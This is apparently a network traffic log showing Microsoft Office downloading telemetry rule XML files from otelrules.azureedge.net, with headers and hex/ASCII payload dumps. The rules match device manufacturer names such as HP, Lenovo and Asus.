2024-10-08 18:52:01 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:01 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:01 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 8aaf7b13-d01e-0028-46fd-167896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185201Z-1657d5bbd48gqrfwecymhhbfm800000004a0000000000qe4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:01 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.9	49709	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:01 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:01 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: d4448e94-101e-00a2-2703-179f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185201Z-1657d5bbd48lknvp09v995n790000000050g00000000frmq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:01 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.9	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:02 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:02 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3ea0840d-701e-0053-1012-173a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185202Z-1657d5bbd48762wn1qw4s5sd30000000057g00000000k5cg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:02 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.9	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:02 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:02 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 15158de7-401e-0029-4b00-179b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185202Z-1657d5bbd48t66tjar5xuq22r8000000057g000000011qcq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:02 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.9	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:02 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:02 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 1707b783-801e-00a3-53e5-167cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185202Z-1657d5bbd48tqvfc1ysmtbdrg0000000056000000000s81q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.9	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:02 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:02 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 73fc0cc0-d01e-008e-5fee-16387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185202Z-1657d5bbd48762wn1qw4s5sd30000000058000000000g8rd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:02 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.9	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:02 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:02 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 87fc294c-201e-0051-40f3-167340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185202Z-1657d5bbd48762wn1qw4s5sd30000000055000000000zk61 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:02 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.9	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:03 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:03 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0a3893d3-c01e-0082-33ee-16af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185203Z-1657d5bbd4824mj9d6vp65b6n400000005k000000000kxx0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:03 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.9	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:03 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:03 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 99ffd5e0-b01e-0053-0101-17cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185203Z-1657d5bbd487nf59mzf5b3gk8n000000050000000000h88e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:03 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.9	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:03 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:03 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 963c34db-c01e-00ad-34ed-18a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185203Z-1657d5bbd48brl8we3nu8cxwgn00000005sg000000005beg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:03 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.9	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:03 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:03 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: bf7deccb-401e-0064-0f0e-1754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185203Z-1657d5bbd48wd55zet5pcra0cg000000058000000000y9vd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:03 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.9	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:04 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:04 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 789c8418-601e-0032-5905-17eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185204Z-1657d5bbd48vlsxxpe15ac3q7n00000005dg000000007h6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:04 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> 